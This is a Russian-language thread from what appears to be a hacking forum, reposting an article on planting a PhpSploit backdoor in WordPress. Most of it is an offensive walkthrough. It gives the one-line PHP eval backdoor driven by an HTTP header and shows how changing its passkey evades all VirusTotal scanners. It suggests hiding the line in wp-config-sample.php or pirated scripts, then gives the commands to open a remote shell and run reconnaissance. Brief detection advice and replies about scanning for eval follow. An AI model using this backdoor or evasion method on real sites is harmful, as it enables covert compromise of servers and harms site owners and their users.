• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Бекдорим WordPress с помощью Phpsploit

top

(L3) cache
Пользователь
Регистрация
03.02.2020
Сообщения
252
Реакции
342
Сейчас в Интернете можно скачать огромное количество пиратских программ, большая часть из которых заражена бэкдорами, троянами, вирусами. Наивные пользователи проверяют скаченные файлы с помощью антивирусов и рассчитывают, что им это поможет.

Скрипты веб-сайтов также могут распространяться на коммерческой основе и могут быть спиратченными — взломанными. Это могут быть движки онлайн магазинов, финансовые игры на деньги и хайп проекты. Давайте вместе посмотрим, насколько реально заразить веб-приложение бэкдором, чтобы его невозможно было найти.

Описанное здесь относится не только к тому, что без разбора скачиваете с сомнительных ресурсов. Заражение бэкдором можно получить и после взлома сайта или веб-сервера. Как многие из вас знают, WordPress написан на PHP. Поиск бэкдоров в коде PHP и WordPress может быть довольно сложным, а иногда и практически невозможным, поскольку бэкдоры могут быть скрыты в любом месте кода и выглядеть как обычный код, а типичная установка WordPress состоит примерно из 432 709 строк PHP-кода плюс десятки плагинов.

Таким образом, вместо того, чтобы читать весь код и искать бэкдоры, мы могли бы использовать автоматизированные инструменты, такие как антивирусное программное обеспечение, а популярное антивирусное программное обеспечение с открытым исходным кодом — ClamAV.

Сегодня мы собираемся протестировать Command and Control (C2) PhpSploit, описание ниже со страницы Github:
PhpSploit — это среда удалённого управления, цель которой — обеспечить скрытое интерактивное соединение, через HTTP, подобное оболочке между клиентом и веб-сервером. Это инструмент последующей эксплуатации, способный поддерживать доступ к взломанному веб-серверу для повышения привилегий. Полнофункциональный фреймворк C2, который незаметно сохраняется на веб-сервере в виде однострочного бэкдора на PHP
При запуске PhpSploit и генерации стандартного бэкдора для размещения в WordPress или PHP-коде будет создана примерна следующая строка, представляющая собой полноценный бэкдор:
PHP:
<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>
Приведённый выше код можно создать, выполнив следующую команду:
PHP:
phpsploit --interactive --eval "backdoor"
И если мы вставим этот небольшой фрагмент кода c eval в php-файл WordPress, а затем загрузим файл в VirusTotal, уровень обнаружения будет выглядеть следующим образом для 58 различных антивирусных сканеров, которые в настоящее время находятся в сети:

VirusTotal-phpsploit.png


Всего одна находа, это ClamAV обнаруживает бэкдор как Php.Trojan.PhpSploit-7157376-0.

Если мы затем снова запустим phpsploit и установим ещё один PASSKEY следующим образом:
PHP:
set PASSKEY HackWare
Для показа кода бэкдора выполним:
PHP:
backdoor
phpsploit-changed-http-header.png

Код бэкдора теперь выглядит иначе:
PHP:
<?php @eval($_SERVER['HTTP_HACKWARE']); ?>
А затем, если мы воспользуемся этим кодом для проверки, спрячем его в wp-config-sample.php или в любой другой файл и снова загрузим код в VirusTotal:
VirusTotal-bypass.png


Отлично! Теперь мы обходим все известные движки по поиску вредоносного кода, перечисленные в VirusTotal, путём внесения небольшого изменения. Заражение бэкдором выходит за рамки этой небольшой статьи, но это может быть уязвимая версия плагина (как один из многих примеров). Если же мы говорим о пиратском ПО, то достаточно добавить эту одну строку в любое место кода и весь сайт будет заражён бэкдором.

Как только бэкдор установлен или загружен на удалённый сервер, нам нужно установить путь до файла с бэкдором, это можно сделать командой «set TARGET» или её сокращённой версией «target», например::
PHP:
set TARGET 192.168.0.223/backdoor.php
Чтобы открыть оболочку на удалённый сервер, достаточно выполнить:
PHP:
exploit
phpsploit.png

Отлично. Теперь мы можем начать локальную разведку Linux, чтобы найти уязвимости эскалации пользователей с помощью таких команд, как
Bash:
whoami
ls
pwd
ls -l ../../../
phpsploit-2.png

На уровне сети PHP-код, отправляемый по сети, выглядит так, как показано ниже. И должно быть довольно легко запускать предупреждения IDS на сетевом уровне, поскольку PHP-код, такой как eval и base64_decode, не должен быть частью http-заголовка. Это, конечно, всё равно можно изменить в PhpSploit, используя настройку REQ_HEADER_PAYLOAD.

Но запуск Suricata с обновлёнными правилами ничего не нашел:
phpsploit-pcap-768x562.png


Выводы​

Даже с небольшими изменениями кода PHP-бэкдора, предоставленного PhpSploit, который доступен свободно, антивирусному программному обеспечению сложно найти бэкдор. Лучшая защита от этого — отслеживать все изменения в www-папке на веб сервере с помощью инструментов с открытым исходным кодом.

При запуске Sysdig Falco и Phpsploit в журнале появляется следующая запись: «Debug Shell spawned by untrusted binary»
Код:
syslog:Mar 23 17:18:04 vagrant falco: 17:18:04.781532982: Debug Shell spawned by untrusted binary (user=vagrant shell=sh parent=apache2 cmdline=sh -c echo $HOME pcmdline=apache2 -k start gparent=apache2 ggparent=systemd aname[4]=<NA> aname[5]=<NA> aname[6]=<NA> aname[7]=<NA> container_id=host image=<NA>)


Видео

Основывается на: https://blog.wpsec.com/backdooring-wordpress-with-phpsploit/
 
что сказать... ахуеть) свои первые сайты делал именно на wp, наслушавшись рекомендаций, какой это крутой движок. А вот то что на сканере АВ не палят бэкдор для меня открытие, канешн
 
спрячем его в wp-config-sample.php или в любой другой файл и снова загрузим код в VirusTotal:
ага...только ктож закачивает скрипты в вирустотал?? закинь свой код в сканер типа айболита ..для начала.
а вообще даже самописный паучок на кроне с анализом
- изменения кода, изменения размера и даты файлов,
- появления новых файлов,
- наличия eval, exec, base64_decode и еще 50 функций пхп

уже выкинет 99 процентов шлака.
И варн на недиагностированное в кэшах

Вот и вся твоя статья. Контент...плинтус ачата
 
а вообще даже самописный паучок на кроне с анализом
Вижу шаришь, не подкинешь хорошую реализацию? :)


наличия eval, exec, base64_decode и еще 50 функций пхп
Это же с лёгкостью прячестя, к чему это?


И варн на недиагностированное в кэшах
Тут непонятно, типа файлы которые генерируют скрипты?


Контент...плинтус ачата
Это как?
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх